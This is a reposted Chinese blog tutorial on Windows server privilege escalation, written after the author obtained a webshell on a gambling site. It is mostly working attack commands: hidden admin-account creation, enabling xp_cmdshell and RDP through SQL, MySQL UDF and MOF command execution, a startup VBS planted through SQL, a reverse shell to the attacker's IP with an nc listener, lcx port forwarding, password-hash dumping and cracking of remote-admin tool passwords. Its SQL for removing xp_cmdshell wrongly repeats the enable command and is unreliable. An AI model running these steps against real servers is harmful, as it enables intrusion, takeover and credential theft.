[转帖]提权

windows提权

https://www.cnblogs.com/v01cano/p/10317458.html

之前一直不太理解 感觉作者写的很好记录一下。

0,起因,由于前几天拿了一个菠菜站的webshell,但是只有iis权限,执行无法创建用户等操作,更无法对整个服务器进行控制了,于是此时便需要提权了,对于一个刚刚入门的小白来说,此刻真正意识到了提权的重要性,于是便开始学习提取相关知识,以拿下该菠菜的站点。

提权前的准备工作

1,通常来说,不同的脚本所处的权限是不一样的。这就意味着,如果该站点支持权限更高的脚本,我们可以上传该权限更高的脚本的大马,进而拿到更高的权限。

  • asp/php 通常为匿名权限(网络服务权限)
  • aspx 通常为user权限
  • jsp 通常为系统权限

2,提权中常常也需要进行信息收集:

  • 内外网
  • 服务器系统和版本位数
  • 服务器的补丁情况
  • 服务器的安装软件情况
  • 服务器的防护软件情况
  • 端口情况
  • 所支持的脚本情况
  • ...............................等等

3,windows信息收集中常用的命令:

ipconfig /all    查看当前ip
net user         查看当前服务器账号情况
netstat -ano     查看当前服务器端口开放情况
ver              查看当前服务器操作系统
systeminfo       查看当前服务器配置信息(补丁情况)
tasklist /svc    查看当前服务器进程情况
taskkill -pid pid号  结束某个pid号的进程
taskkill /im qq.exe /f 结束qq进程,如果对命令不清楚,可以使用taskkill /? 进行查看
net user v01cano v01cano /add 添加一个用户名为v01cano密码为v01cano的用户
net localgroup administrators v01cano /add 将用户v01cano添加到管理员组
whoami                   查看当前操作用户(当前权限) 

cmd命令执行提权

cmd命令执行提权-拿到webshell后,通常是无法执行cmd命令的,常见的阻断cmd命令执行有如下三种:

  • 防护软件拦截
  • cmd被降权
  • 组件被删除
  • 被拦截和降权的解决方案,找可读写目录,上传cmd.exe,调用自己上传的cmd.exe,执行cmd命令。
  • 组件被删除解决方案:检查是否支持aspx,如果支持,则可以通过aspx直接调用系统的cmd命令。或者换个脚本试试,比如换个php或者asp的大马试试。
  • https://www.cnblogs.com/v01cano/p/10293838.html

FTP软件提权:

常见的FTP软件有server-u,g6ftp,filezilla等等。

https://www.cnblogs.com/v01cano/p/10310822.html

远程管理软件提权:

常见的远程管理软件有teamviewer,pcanywhere,radmin,vnc等等。

1,teamviewer提权:比较难,官方响应更新较快。

2,pcanywhere提权:(默认端口5631,5632)一般下载安装根目录下的hosts文件夹下的PCA.admin.CIF文件,然后使用pcanywhere破解.exe可执行程序读取其用户名和密码,然后即可进行连接远控。

3,radmin提权:(默认端口4899)直接使用大马中的Radmin提权,可以直接读取Radmin的密码(密文),同样使用工具radmin_hash.exe直接新建连接,然后右键完全控制,将32位的hash密文直接输入即可(注:在大马里面获取的密文为大写,需要先进行小写转换)

4,vnc提权:@1,通过读取注册表的十进制数,将其转换成十六进制数。(使用大马中读取注册表选项,选择vnc4密码选项,进行读取)@2,使用工具vncx4.exe破解十六进制数后得到密码,即首先输入vncx4.exe -W回车,然后将转换后的十六进制数依次输入。@3,使用破解得到的密码连接vnc。

windows溢出提权:

主要是通过windows漏洞利用来获取系统权限,常见的溢出提权有巴西烤肉,pr等。

提权步骤如下:

  • 通过systeminfo命令查看服务器打了哪些补丁。
  • 根据未打补丁的漏洞进行利用即可。可以通过getroot tools工具进行查看有哪些漏洞未打补丁。

破解hash提权:

前提:需要system权限。

  • 上传pwdunp7.exe运行获取hash值或者使用pass.exe读取内存中的明文密码。
  • 拿到lc5,彩虹表或者cmd5中解密
  • 即可得到管理员密码

启动项提权:

  • 前提写入的目录需要写入权限
  • 将批处理文件上传到开启启动项目录等待管理员重启即可。

数据库提权:

sqlserver数据库提权

1,首先需要获取sa账号,或者其他管理员账号。获取方法,查看config.asp,conn.asp,database.asp等文件。

2,安装cmd_shell组件

  执行如下命令安装cmd_shell组件,默认无法直接执行cmd命令:
  EXEC sp_configure ‘show advanced options‘, 1
  GO
  RECONFIGURE
  GO
  EXEC sp_configure ‘xp_cmdshell‘, 1
  GO
  RECONFIGURE
  GO
  删除cmd_shell组件:
  EXEC sp_configure ‘show advanced options‘, 1
  GO
  RECONFIGURE
  GO
  EXEC sp_configure ‘xp_cmdshell‘, 1
  GO
  RECONFIGURE
  GO
  如果在添加用户到管理员组administrators的时候遇到安全狗而无法添加,则可以添加用户到Remote desktop Users远程组,远程组的用户同样可以进行远程连接。

3,开启3389

开启3389的sql语句:
exec master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server‘,‘fDenyTSConnections‘,‘REG_DWORD‘,0;
关闭3389的sql语句:
exec master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server‘,‘fDenyTSConnections‘,‘REG_DWORD‘,1;

4,创建用户,加入到administrators组或者Remote desktop Users组

mysql数据库提权

前提:需要是数据库管理员权限才可以进行提权操作。

一,udf提权

1,获取到对方mysql数据库下的root账号和密码,常用的获取方法有:

  • 查看网站源码里面的数据库配置文件(inc,conn,config.sql,common,data等)
  • 查看数据库安装路径下的user.myd(/data/mysql/)
  • 暴力破解mysql密码,破解3306端口入侵。

2,udf提权原理:

通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd。
create function cmdshell returns string soname ‘udf.dll‘
select cmdshell(‘net user iis_user [email protected]#abcABC /add‘);
select cmdshell(‘net localgroup administrators iis_user /add‘);
drop function cmdshell;

3,udf提权常用方法:

直接上传udf大马,对如上命令进行自动执行,从而达到提权的目的。

二,启动项提权

启动项提权原理:使用较少
1,查看数据库中有些什么数据表
mysql>show tables;
默认的情况下,test中没有任何表的存在。
2,在test数据库下创建一个新的表;
mysql>create table a(cmd text);
我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为test文本。
3,在表中插入新的内容:

insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user v01cano v01cano /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators v01cano /add“”,0)”);
select * from a into outfile “C://docume~1//「开始」菜单//程序//启动//a.vbs”;
重启即可创建该用户。

三,mof提权

mof提权原理:
第一种方法:
上传mof.php,输入相关信息,执行命令,提权。
第二种方法:
上传x.mof文件,使用select命令导出到正确的位置。
select load_file(‘C:/php/APMServ5.2.6/www/htdocs/1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘
允许外部地址使用root用户连接的sql语句:
Grant all privileges on *.* to ‘root‘@‘%‘ IDENTIFIED BY "root账户密码" with grant option;

四,反链端口提权(反弹shell)

反链端口提权原理:可以使用udf提权的大马进行操作。
1,利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
执行命令:

mysql.exe -h 192.168.174.151 -uroot -p
enter password:
mysql>\. C:\mysql.txt
mysql>select backshell("YourIP",端口);

2,本地监听你反弹的端口:

nc.exe -v -l -p 端口

成功后,你可以获得一个system权限的cmdshell,其实这个也是利用udf提权,即使用udf提权的大马进行反弹shell提权。

五,内网端口转发:

1,内网端口转发常用操作。

内网主机输入命令:该外网ip为黑客的某台服务器。
lcx.exe -slave 外网ip 外网端口 内网ip 内网端口
lcx.exe -slave 200.1.1.1 1111 192.168.1.2 3389

外网主机输入命令:
lcx.exe -listen 1111 1311

开启3389常用方法

  • 使用批处理文件开启3389
  • 使用sql语句开启3389
  • 使用exe开启3389
  • 使用vb开启3389

windows常用权限提升命令

常用命令:
type E:\wwwroot\web.config 查看文件内容

cacls命令:

/T            更改当前目录及其所有子目录中指定文件的 ACL。
/E            编辑 ACL 而不替换。
/C            在出现拒绝访问错误时继续。
/G user:perm  赋予指定用户访问权限。Perm 可以是: R读取,W写入,C更改(写入),F完全控制。
/R user       撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。

cacls C:\wwwroot\1.html /t /e /c /g v01cano:f

要修改一个文件权限的必要条件:
有user组的完全控制权限,cmd权限。

原文地址:https://www.cnblogs.com/jinanxiaolaohu/p/10317686.html

时间: 2024-10-12 19:21:50

[转帖]提权的相关文章

[转帖]「白帽黑客成长记」Windows提权基本原理(上)

https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows来强调任何可能存在的命令行差异,请牢记因为不同的操作系统和版本差异会在命令行中显现,作者试图构造本教程,以便它适用于Windows提权的最普遍的方式. 注:文章篇幅较长,阅读用时约10分钟. 必要文档补

Mysql提权总结

mysql默认状态下是不开放对外访问功能的 1.如何设置才能允许外网访问MySQL 使用"mysql -uroot -proot"命令可以连接到本地的mysql服务: 使用"use mysql"命令,选择要使用的数据库,修改远程连接的基本信息,保存在mysql数据库中,因此使用mysql数据库: 使用"GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTI

1433修复命令大全提权错误大全_cmd_shell组件修复

net user SQLDebugger list /add net localgroup administrators SQLDebugger /add Error Message:未能找到存储过程 'master..xp_cmdshell'. 修复法:很通用的,其实碰到 其他126 127的都可以一起修复, 除了xplog70.dll其他的都可以用这命令修复 [/post]xp_cmdshell新的恢复办法 第一步先删除: drop procedure sp_addextendedproc 

Linux 提权常用命令集

转载:http://www.myhack58.com/Article/html/3/8/2017/83236.htm 0x00 操作系统相关 操作系统类型版本 cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian cat /etc/redhat-release # Redhat 内核版本,是否是64位 cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | g

记一次ms16-032成功提权win7/win12

E:\Tools\提权大结合\ms16-032>whoami pc-20140503jfge\administrator 首先查看权限是administrator 随后溢出 可以看到是system权限了 这是拿我本机试的. 可以在win12上成功溢出 exp不开源

MySQL启动项提权

关于MySQL的启动项提权,听其名知其意.就是将一段 VBS脚本导入到  C:\Documents and Settings\All Users\「开始」菜单\程序\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令! 这里有两种思路: 1. 如果  C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录存在可读写的权限,那么我们可以直接将 VBS 提权脚本上传到该目录下! VBS 提权脚本代码如下: setw

mof提权原理及实现

关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行.下面简单演示下 mof 提权的过程! 首先将我们的 mof 提权脚本上传到可读写目录下,这里就不做演示了.接着我们选择 MySQL 提权项,输入我们已经获取的MySQL 账户信息,并执行如下命令: select load_file("C:/php/APMServ5.2.6/

17_服务器提权

当我们拿到webshell之后,下一步该干什么了?权限提升 水平权限提升(通过控制一个账户来搞定其他的账户)  垂直权限提升(从单一用户权限提升至完全管理权限) 主机权限提升(重点介绍) 一.主机权限提升 1.分类 Linux提权 Windows提权 2.Windows提权(前提是:有操作系统漏洞,其次是想办法执行cmd) 操作系统漏洞提权 第三方服务提权 3.Windows操作系统漏洞 根据没有修补的补丁号码,到网上找利用程序,进行利用. systeminfo  查看系统信息 查看修补的补丁编

利用第三方软件—FlashFXP提权

讲师:朽木_soul 提权环境:windows 2003 使用工具:ASP环境.shell一个 提权思路:利用FlashFXP替换文件漏洞,可以读取管理员链接过的站点账号密码. 这是我首发在I春秋的. 1.flash fxp介绍 FlashFXP是一款功能强大的FXP/FTP软件,集成了其它优秀的FTP软件的优点,如CuteFTP的目录比较,支持彩色文字显示;如BpFTP支持多目录选择文件,暂存目录;又如LeapFTP的界面设计. 2.具体过程 下面是我在win03安装的FTP软件,里面什么都没